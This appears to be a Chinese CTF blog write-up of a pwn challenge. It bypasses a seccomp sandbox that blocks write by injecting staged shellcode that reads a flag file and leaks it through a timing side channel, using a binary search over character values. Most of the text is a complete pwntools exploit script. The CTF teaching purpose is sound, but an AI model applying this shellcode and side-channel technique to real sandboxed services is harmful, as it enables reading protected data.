什么?shellcode也能侧信道啊...

【pwn】记一道shellcode侧信道攻击

前言

契机来源于K0nashi师傅给的一道题目,让我来写写shellcode,那当然是写啊!

分析

checksec之后发现保护全开,打开ida分析发现有沙箱,直接查看沙箱

可以使用read open,不能使用write,并且判断了A < 0x40000000。

image-20211016162322286

再进入ida看看

image-20211016163403818

先mmap一段可执行的chunk,然后可以写入0x18长度的shellcode,最后设立沙箱规则之后执行我们刚刚写入的shellcode。

那么一种新的思路就是侧信道攻击

简单来说就是我们先open flag,然后read flag到stack上,通过逐一对比stack上的字符来判断我们爆破的flag字符是否正确,正确就loop循环,不正确就直接exit。

这点类似于web题目中的布尔盲注,当然我们这里也用到了时间盲注,根据是否eof来判断是否正确。

做法

首先由于0x18的shellcode的限制,我们不可能在这里完成read和open,所以先在0x18的地方写入一段read的shellcode,让我们可以读如更多的shellcode

我们先动调一下,发现我们写入的第一段shellcode会写入0x10000这个mmap的起始地点,并且我们写入了0x18的长度的shellcode,rip最后会到0x10018的地方,所以我们让read写入的地址为0x10018就可以了

def setread():
    global io
    # rdi rsi rdx rcx
    # read(0,&0x10018,0x250)
    shellcode = '''
        push 0x250
        pop rdx
        xor rsi,rsi
        mov rsi,0x10018
        xor rdi,rdi
        xor rax,rax
        syscall
    '''
    shellcode = asm(shellcode)
    rl()
    s(shellcode)
    sleep(0.3)

然后我们可以写入0x250长度的shellcode,我们先open flag,再读取flag,这点直接用shellcraft就可以做到

orw_payload = shellcraft.open('flag')
orw_payload += shellcraft.read(3,'rsp',0x100)

接下来就是重点了,我们需要写入一段shellcode来判断我们爆破的flag是否正确,这里要用到汇编中的jz或者使用二分法,ja来判断。

在这里强调一点,目前网上绝大部分的有关shellcode的爆破都是通过jz来判断是否相同,而wjh师傅使用了二分法的ja来缩小爆破时间和次数,我这里参考了wjh师傅的第五届 “蓝帽杯” Final PWN、RE Writeup,中的secretcode的exp写法。

这里是我写的比较方法(基于二分法)

orw_payload += f'''
                mov dl,byte ptr [rsp+{i}]
                mov cl,{mid}
                cmp dl,cl
                ja loop
                mov al,0x3c
                syscall
                loop:
                jmp loop
            '''

完整的pwn函数

def pwn():
    global io
    flag = "flag{"
    count = 1
    for i in range (len(flag),0x20):
        left = 0
        right = 127
        while left < right:
            setread()
            mid = (left + right) >> 1
            orw_payload = shellcraft.open('flag')
            orw_payload += shellcraft.read(3,'rsp',0x100)
            orw_payload += f'''
                mov dl,byte ptr [rsp+{i}]
                mov cl,{mid}
                cmp dl,cl
                ja loop
                mov al,0x3c
                syscall
                loop:
                jmp loop
            '''
            orw_payload = asm(orw_payload)
            sl(orw_payload)
            start_time = time.time()
            try:
                io.recv(timeout=0.25)
                if time.time() - start_time > 0.1:
                    left = mid + 1
            except:
                right = mid
            io.close()
            clear()
            info(f"time-->{count}")
            info(flag)
            count += 1
            io = getprocess()
        flag += chr(left)
        info(flag)
        if flag[-1] == "}":
            break

我们的判断条件就是这个时间间隔是否大于了0.1,大于0.1可以证明进入了loop循环,那么我们的结果就是正确的,所以left = mid + 1缩小范围,直到left == right就是我们需要的flag正确字符

exp

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/10/15 13:49:57
# -----------------------------------

from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os

from pwnlib.adb.adb import shell

def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)

def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> {times}')
            pwn()
        except:
            io.close()
            io = getprocess()

def init(binary):
    global arglen, elf, path , libc, context, io
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    context.terminal = ['gnome-terminal','-x', 'bash','-c']
    elf = ELF(binary)
    path = libcpath(binary)
    libc = ELF(path)
    libc.path = path
    context.arch = elfbit(binary)
    io = getprocess()

s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('	', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')

# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './chall'
init(binary)

def setread():
    global io
    # rdi rsi rdx rcx
    # read(0,&0x10018,0x250)
    shellcode = '''
        push 0x250
        pop rdx
        xor rsi,rsi
        mov rsi,0x10018
        xor rdi,rdi
        xor rax,rax
        syscall
    '''
    shellcode = asm(shellcode)
    rl()
    s(shellcode)
    sleep(0.3)

def pwn():
    global io
    flag = "flag{"
    count = 1
    for i in range (len(flag),0x20):
        left = 0
        right = 127
        while left < right:
            setread()
            mid = (left + right) >> 1
            orw_payload = shellcraft.open('flag')
            orw_payload += shellcraft.read(3,'rsp',0x100)
            orw_payload += f'''
                mov dl,byte ptr [rsp+{i}]
                mov cl,{mid}
                cmp dl,cl
                ja loop
                mov al,0x3c
                syscall
                loop:
                jmp loop
            '''
            orw_payload = asm(orw_payload)
            sl(orw_payload)
            start_time = time.time()
            try:
                io.recv(timeout=0.25)
                if time.time() - start_time > 0.1:
                    left = mid + 1
            except:
                right = mid
            io.close()
            clear()
            info(f"time-->{count}")
            info(flag)
            count += 1
            io = getprocess()
        flag += chr(left)
        info(flag)
        if flag[-1] == "}":
            break

pwn()
ia()

最终仅仅使用了半分钟爆破126次就get flag了

image-20211016170653419